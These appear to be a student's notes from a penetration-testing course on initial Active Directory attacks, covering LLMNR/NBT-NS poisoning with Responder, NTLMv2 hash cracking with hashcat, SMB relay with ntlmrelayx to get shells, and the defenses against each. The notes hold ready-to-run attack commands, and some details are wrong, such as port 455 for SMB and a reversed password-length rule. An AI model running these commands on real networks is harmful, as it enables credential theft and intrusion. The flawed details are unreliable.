Attacking AD - Initial Attack

Taken from the PEH course from TCM Academy

LLMNR Poisoning

LLMNR

Used to identify hosts when DNS fails to do so.
Previously NBT-NS
Key Flaw is that the services utilize a user's username and NTLMv2 hash when appropriately responded to.

Capturing NTLMv2 Hashes with Responder

responder -I eth0 -rdwv

Responder listens on the wire for NetBIOS Name Service (NetBIOS) and Link-Local Multicast Name Resolution (LLMNR) broadcast and multicast requests for hostnames from other machines in the local subnet. It’s common for Windows machines to use these protocols when they are unable to resolve hostnames through DNS or their own local hosts file. A hostname lookup can fail for a number of reasons, such as mistyping a hostname, misconfigurations, or decommissioned DNS records. Additionally, Windows hosts that are configured to automatically detect web proxies in an environment without a web proxy will also attempt to resolve wpad via NetBIOS and LLMNR (i.e., the Web Proxy Auto-Discovery (WPAD) protocol). Other applications also try to resolve nonexistent hostnames. For example, the Chrome browser will attempt to resolve three randomized domain names every time it loads as part of a self-configuration and optimization routine.

Example of response:

Cracking the hash with hashcat:

hashcat -m 5600 ntlmhash.txt wordlist --force -O

LLMNR Poisoning Defenses

The best defense in this case is to disable LLMNR and NBT-NS

To disable LLMNR, select "Turn OFF Multicast Name Resolution" under Local Computer Policy > Computer Configuration > Administrative Templates > Network > DNS Client in the Group Policy Editor.
To disable NBT-NS, navigate to Network Connections > Network Adapter Properties > Tcp/IPv4 Properties > Advanced tab > WINS tab and select "Disaable NetBIOS over TCP/IP"

If a company must use or cannot disable LLMNR/NBT-NS, the best course of action is to:

Requiere Network Access Control.
Require strong user passwords (e.g, < 14 characters in length and limit common word usage). The more complex and long the password, the harder it is for an attacker to crack the hash.

SMB Relay Attacks

Overview

Instead of cracking hashes generated with Responder, we can instead relay those hashes to specific machines and potentially gain access.

Requeriments

SMB signing must be disabled on the target.
Relayed user credentials must be admin on machine.

Edit responder.conf file to listen but not to respond:

Run responder

python responder.py -l eth0 -rdw

Set up your relay

python ntlmrelayx.py -tf targets.txt -smb2support

An event occurs

Once an account with at least local administrative privileges attempts to authenticate, MultiRelay will dump the local password hashes.

Discovering Hosts with SMB Signing Disabled

nmap --script=smb2-security-mode.nse -p455 199.168.57.0/24

Examples:

We could perform a relay attack to 192.168.57.141 because message signing is not required.

SMB Relay Attack Examples

Change the conf

responder -I eth0 -rdwv

ntlmrelayx.py -tf targets.txt -smb2support

An event occurs

Interactive shell

ntlmrelayx.py -tf targets.txt -smb2support -i

Accessing the shell:

Another way to get a shell:

ntlmrelayx.py -tf targets.txt -smb2support test.exe

SMB Relay Attack Defenses

Mitigation Strategies:

Enable SMB Signing on all devices
- Pro: Completely stops the attack.
- Con: Can cause perfomance issues with file copies.
Disable NTLM authentication on network
- Pro: Completely stops the attack.
- Con: If Kerberos stops working, Windows defaults back to NTLM.
Account tiering:
- Pro: Limits domain admins to specific tasks (e.g. only log onto servers with need for DA).
- Con: Enforcing the policy may be difficult.
Local admin restriction:
- Pro: Can prevent a lot of lateral movement.
- Con: Poetential increase in the amount of service desk tickets.